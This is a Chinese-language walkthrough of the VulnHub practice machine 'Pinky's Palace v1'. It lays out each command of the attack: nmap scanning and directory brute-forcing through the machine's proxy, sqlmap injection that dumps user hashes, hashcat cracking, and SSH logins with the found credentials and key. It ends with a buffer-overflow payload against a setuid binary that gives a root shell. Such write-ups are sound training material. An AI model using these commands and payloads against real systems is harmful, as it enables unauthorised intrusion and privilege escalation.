VulnHub-Pinky's Palace: v1 靶场渗透测试
时间:2021.3.22
靶场信息:
地址:https://www.vulnhub.com/entry/pinkys-palace-v1,225/
发布日期:2018年3月6日
目标:得到root权限&找到flag.txt
一、信息收集
1、获取靶机IP地址
nmap -sP 192.168.43.0/24
由探测结果可知,靶机的IP为192.168.43.227
2、扫描开放的端口和服务
nmap -sS -sV -T5 -p- 192.168.43.227
得到开放的端口信息:
8080/tcp open http nginx 1.10.3
31337/tcp open http-proxy Squid http proxy 3.5.23
64666/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
3、网站信息收集
由探测的结果可知,8080号端口开放有http服务,访问出现代理服务器拒绝连接的问题,因此可能需要代理才能访问,在靶机的31337端口开放了代理服务,我们试试
curl --proxy http://192.168.43.227:31337 127.0.0.1:8080
访问成功,接着爆破一下目录
1.dirb http://127.0.0.1:8080 -p 192.168.43.227:31337
2.gobuster dir -u http://127.0.0.1:8080 -p 192.168.43.227:31337 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
发现/littlesecrets-main,打开浏览器访问一下(这里要设置一下浏览器的代理)
随便输入些数据,返回错误,我们猜测当前目录下可能还会存在其他目录或文件,再用gobuster爆破一下目录
gobuster dir -u http://127.0.0.1:8080/littlesecrets-main -p http://192.168.43.227:31337 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.txt
二、漏洞探测
发现logs.php,访问看看,发现里面记录着我们请求的头信息
所以,猜测存在user-agent注入,用sqlmap跑下
sqlmap -u "http://127.0.0.1:8080/littlesecrets-main/login.php" --proxy="http://192.168.43.227:31337" --level=3 --data="user=admin&pass=admin" --current-db --batch
得到当前使用的数据库为pinky_sec_db,继续爆破表
sqlmap -u "http://127.0.0.1:8080/littlesecrets-main/login.php" --proxy="http://192.168.43.227:31337" --level=3 --data="user=admin&pass=admin" -D pinky_sec_db --tables --batch
再爆破表users的列名
sqlmap -u "http://127.0.0.1:8080/littlesecrets-main/login.php" --proxy="http://192.168.43.227:31337" --level=3 --data="user=admin&pass=admin" -D pinky_sec_db -T users --columns --batch
最后dump出表中的数据
sqlmap -u "http://127.0.0.1:8080/littlesecrets-main/login.php" --proxy="http://192.168.43.227:31337" --level=3 --data="user=admin&pass=admin" -D pinky_sec_db -T users -C uid,user,pass --dump --batch
得到上面两个hash值,猜测应该是md5加密的,用hashcat尝试字典破解
hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt --force
参数说明:
-a表示破解模式,0是字典破解
-m指定哈希类型,0是md5
--force忽略警告
破解得到用户为pinkymanage,密码为3pinkysaf33pinkysaf3,有了用户名和密码之后,我们再通过ssh登录
成功登录到目标靶机,发现不能sudo -l提权,在/var/www/html/littlesecrets-main/ultrasecretadminf1l35目录下发现note.txt,里面是rsa密钥
将密钥拷贝到本地,再base64解码保存
之前在家目录发现还存在一个pinky用户,可能这个rsa密钥就是用来登录这个用户的
登录之后,没有密码,所以不能sudo提权,查看目录发现adminhelper二进制文件,且具有setuid权限
三、漏洞利用
执行之后没有反应,再后面加一些输入,发现会将我们的输入返回
猜测可能会出现缓冲区溢出,那就增大输入,提示段出现故障,也就说明确实存在缓冲区溢出
然后我们按照方法查找溢出值,得到边界值为72
我们使用靶机自带的gdb调式工具来打开这个二进制文件
- info functions :列出可执行文件的所有函数名称,在内存中的symbol table查找,结果中的地址是内存里的地址,所以得到结果后,直接b(break,添加断点)这个地址,即可正确加断点
- jump:当调试程序时,你可能不小心走过了出错的地方,可jump回去
- i b : 查看断点
- delect 编号 : 删除断点
- disas $pc:反汇编当前函数
- spawn():会创建一个新的进程来执行,生成一个子进程,返回代码将表明的状态创建进程
使用jump调用spawn函数时获得shell
这样的话我们将EIP中的返回地址修改为spawn函数的内存地址,让程序溢出时,通过EIP跳转到spawn函数执行获得shell,获得root权限
四、提权
看到目标内存地址是0x00005555555547d0,在shellcode中,字节顺序相反,所以创建外壳需要调整顺序为\xd0\x47\x55\x55\x55\x55,前两位00不要,是因为\x00代表空格,在运行中\x00自动终止程序运行
./adminhelper $(python -c "print 'a' * 72 + '\xd0\x47\x55\x55\x55\x55'")
接下来执行程序,得到flag
总结
这台靶机考查的知识点还是挺多的,从开始的代理访问得到登录界面,再根据user-agent的时间盲注得到用户密码,登录之后,发现密钥,利用密钥登录pinky用户,然后在家目录发现一个存在SID权限的root拥有者的二进制文件,然后利用缓冲区溢出得到root权限的shell。